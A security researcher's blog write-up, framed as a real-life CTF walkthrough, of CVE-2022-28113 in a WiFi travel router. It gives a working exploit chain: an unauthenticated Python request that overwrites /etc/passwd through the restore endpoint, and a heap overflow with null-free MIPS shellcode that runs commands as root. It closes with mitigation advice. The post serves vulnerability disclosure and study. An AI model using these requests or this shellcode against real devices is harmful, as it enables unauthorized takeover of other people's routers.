WiFi Travel routers are affordable and provide wireless networking as well as file sharing services at low cost. But how secure are they actually? I recently purchased one and had fun smashing its stack. This posts demonstrates how an unauthorized user can take full control over the router without any required user interaction. The full vulnerability is published under CVE-2022-28113.
Overview
This post provides provides a detailed guide on finding this vulnerability and exploiting it. See it as a real-life CTF walktrough. Any unauthenticated, unauthorized malicious user can execute arbitrary terminal commands as root user, taking full control over the device. No passwords, reboots or user inputs are required.
The exploit consists of two stages:
- First: Gain access to the web interface as admin user
- Second: Exploit a buffer overflow vulnerability for remote code execution
Enumeration
A quick netcat scan reveals the services provided by the router. On port 80, a web interface allows to configure the device and access files from the connected drives. Only the admin
user can log in, no further accounts can be created.
To find vulnerabilities, log in and capture all web traffic using a proxy like BurpSuite or mitmproxy. The example below shows the Internet Network Settings page and the corresponding web request.
POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
Host: 10.10.10.254
Content-Length: 82
Method: POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.10.10.254
Referer: http://10.10.10.254/apps/network/internet.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSID=DE4ri41qPWOPIzWUxXLL8AJRbOA2MzthdoynrADfrrVaQ; Language=us
Connection: close
SSID=code-byter-wifi&mac=7e%3Af1%3A33%3A34%3Aa1%3A37&passwd=supersecurepassword&dhcp=1
All web-requests contain the SESSID
in the cookie. This is used to authenticate the user and is present in all requests. If we drop the session cookie, the server return an error code.
Initial access
Initially, we don’t have any valid credentials or session id. One technique to gain initial access is to enumerate which web requests works if the session id is dropped, which is the case for most/all GET
requests in this web interface.
This allows us to leak all files of the connected drives and other sensitive information such as the wifi password, but not to modify any data or execute custom commands.
Vulnerability
Another interesting target is the backup functionality. The backup can be downloaded without providing any session cookie and consists of sensitive user information like the contents of /etc/shadow
containing the password hashes of all users. These can be cracked using tools like hashcat or John the Ripper, but takes lots of time.
The restore functionality, which works without the session cookie as well, is more relevant, as no password hash cracking is necessary. The following screenshot shows the original POST
request to load a backup file. The request contains the upload-path and the filename with its contents in the body. Instead of writing the backup file to the connected drive, we can directly write the shadow
and passwd
file in the /etc/
directory.
Exploitation
The following python code snipped, creates a post request containing the /etc/passwd
file with the hashes of root:20080826
and admin:codebyter
. Analogous we can perform the same operation to override the /etc/shadow
file. All cookies and headers are not verified and thus can be removed from the request.
import requests
params = (
('uploadpath', '/etc/'),
('file', '1647027124436'),
)
data = """
sysresumefileform\r
------WebKitFormBoundaryRY0m57TtzHmaTLaT\r
Content-Disposition: form-data; name="file1"; filename="passwd"\r
Content-Type: text/html\r\n\r\n
root:$1$yikWMdhq$cIUPc1dKQYHkkKkiVpM/v/:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
admin:$1$s0eJ96e.$9EjwaKxLMqkYxHRPArA4g/:15:0:user:/data:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh"""
response = requests.post('http://10.10.10.254/upload.csp', params=params, data=data, verify=False)
This code snippet allows any unauthenticated user to reset all passwords, without having to reboot the router. We can use the new admin user credentials to log into the web interface. It telnet is enabled by default, you can log in directly as root user, otherwise we need to find a remote code execution vulnerability in the web interface.
Remote code Execution
After initial access the next objective is to execute terminal commands. Let’s revisit the internet access settings page from the enumeration chapter.
Vulnerability
The web request contains the body parameters SSID
, mac
, passwd
and dhcp
. If a very long string is provided as parameter, the application crashes and displays 500 - Internal Server Error
. This indicates a potential buffer overflow vulnerability.
Toolchain
The full firmware can be downloaded from the manufacturers website and contains the correct tools to compile and assemble code.
The vulnerable binary is located in /usr/bin/ioos
. The binary is built for a little-endian MIPS architecture.
$ file ioos
ioos: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
To debug the application, attach gdbserver
to the process and launch gdb-multiarch
on your machine to connect to the server.
Therefore, we need a working gdbserver version for this specific architecture. You can cross-compile gdb from source using the toolchain obtained from the downloaded firmware. As the toolchain is already outdated, only older gdb versions such as gdb-6.5
can be compiled.
To cross-compile gdbserver using the mipsel-linux toolchain, add the toolchain directory to your PATH
environment variable on your host machine and execute the following commands.
../gdb-6.5/gdb/gdbserver/configure --host=mipsel-linux --target=mipsel-linux
make
Next, transfer the binary to the wifi router and attach the gdbserver to the ioos
process.
gdbserver localhost:4444 --attach {process_id}
On your host machine launch gdb-multiarch
and connect to the server
(gdb) target remote 10.10.10.254:4444
Exploitation
Attach a debugger to the process and send a large number of A
characters as SSID
parameter value together with a valid session cookie. You can observe the program counter being overwritten with \x41\x41\x41\x41
which causes a fault and exits the programm.
POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
Host: 10.10.10.254
Content-Length: 82
Method: POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSID=DE4ri41qPWOPIzWUxXLL8AJRbOA2MzthdoynrADfrrVaQ; Language=us
Connection: close
SSID=code-byter-wifi&mac=7e%3Af1%3A33%3A34%3Aa1%3A37&passwd=supersecurepassword&dhcp=1
As this is a heap overflow, the payload itsself is stored on the heap and a function pointer is overwritten. The vulnerablerability exits, as strcpy
does not check the length of the input.
After identifying the vulnerability, let’s determine our restrictions.
The vulnerable function is strcpy
. Thus the buffer overflow only works if the payload must not contain any \x00
, as in C/C++ strings are terminated with null-bytes
Next, to verify if ASLR is used, execute the following command. In this case partial ASLR is enabled, so the exact stack addresses are unknown, but the heap and main binary addresses are constant. An exploit is possible if the payload is placed in heap memory or return-oriented-programming is used.
$ cat /proc/sys/kernel/randomize_va_space
1
The following command shows the memory mapping. As the heap is executable it can be used to store the shellcode. The injected payload can be found at address 0x0054ec9401
. To execute it, overwrite the program counter with this address.
Unfortunately the address contains a nullbyte, which we cannot use in the payload. As strings are always terminated with null-bytes and the architecture is little endian, we can use this to our advantage. If the payload ends with \x01\x94\xec\x54
, we can set the program counter to 0x0054ec9401
, as the last byte of the string is \x00
.
After being able to execute custom commands, the next step is to generate the payload. In the diassembled firmware, we can find the do_cmd
function, which executes any string containing a terminal command. To execute it, we need to store the command as string in heap memory and load its address into the argument register a0
and call the function.
To generate the payload, we have to write assembly code in such a way that the assembled machine hex code is null-byte free.
The first step is to move the string pointer 0x0054ecc4
into a0. As the address contains a null-byte, we can compute the value by adding an offset to the value of the link register ra
. As this still instruction contains null-bytes, we can split it into two seperate ones, with large enough operands.
addi a0,ra,292
addi a0,a0,-244
Next, we need to load the address of do_cmd
into any register (e.g. t9
) and then jump to it. We can store this address in our payload and load the word from memory into the register. As the address of the function 0x0040ce84
contains null-bytes, we can store the value 0x0040ce84 + t9
in memory instead and substract the register value t9
afterwards.
lw t8,-4(a0)
sub t9,t8,t9
jalr t9
Instead of inserting a nop
instruction after lw
, which contains null-bytes, we can insert ‘useless’ add
instructions.
.file 1 "asm_to_hex.c"
add:
add $4, $31, 0x124
add $4, $4, -0xf4
lw $24, -4($4)
add $22, $23, $23
add $22, $23, $23
sub $25, $24, $25
jalr $25
.end add
Next generate hex code from the instructions. Therefore store them, as shown above in a file shellcode.asm
. Then assemble it using mipsel-linux-as
and dump the hexcode with mipsel-linux-objdump
. Last, convert it into little endian format and send it to the router to execute any commands as root user.
$ mipsel-linux-as shellcode.asm -o shellcode.o
$ mipsel-linux-objdump -d shellcode.o
shellcode.o: file format elf32-tradlittlemips
Disassembly of section .text:
00000000 <add>:
0: 23e40124 addi a0,ra,292
4: 2084ff0c addi a0,a0,-244
8: 8c98fffc lw t8,-4(a0)
c: 02f7b020 add s6,s7,s7
10: 02f7b020 add s6,s7,s7
14: 0319c822 sub t9,t8,t9
18: 0320f809 jalr t9
1c: 00000000 nop
The following screenshot shows gdb with a breakpoint at the do_cmd
function. As you can see, the address of the string terminal command is stored in the register a0
and the program counter points to the do_cmd
function.
Automation
The whole exploitation process is automated with a python script. To spawn a root shell, clone this repository and run exploit.py
.
Mitigation
The initial web vulnerability can be mitigated by verifying the session cookie for each http request. The buffer overflow vulnerability can be fixed by using strncpy
instead of strcpy
, as the number of copied characters is limited. Further enabling full ALSR would make the exploitation harder/impossible as the heap and firmware addresses are randomized.
References
- Github: CVE-2022-28113
- CVE-Mitre: CVE-2022-28113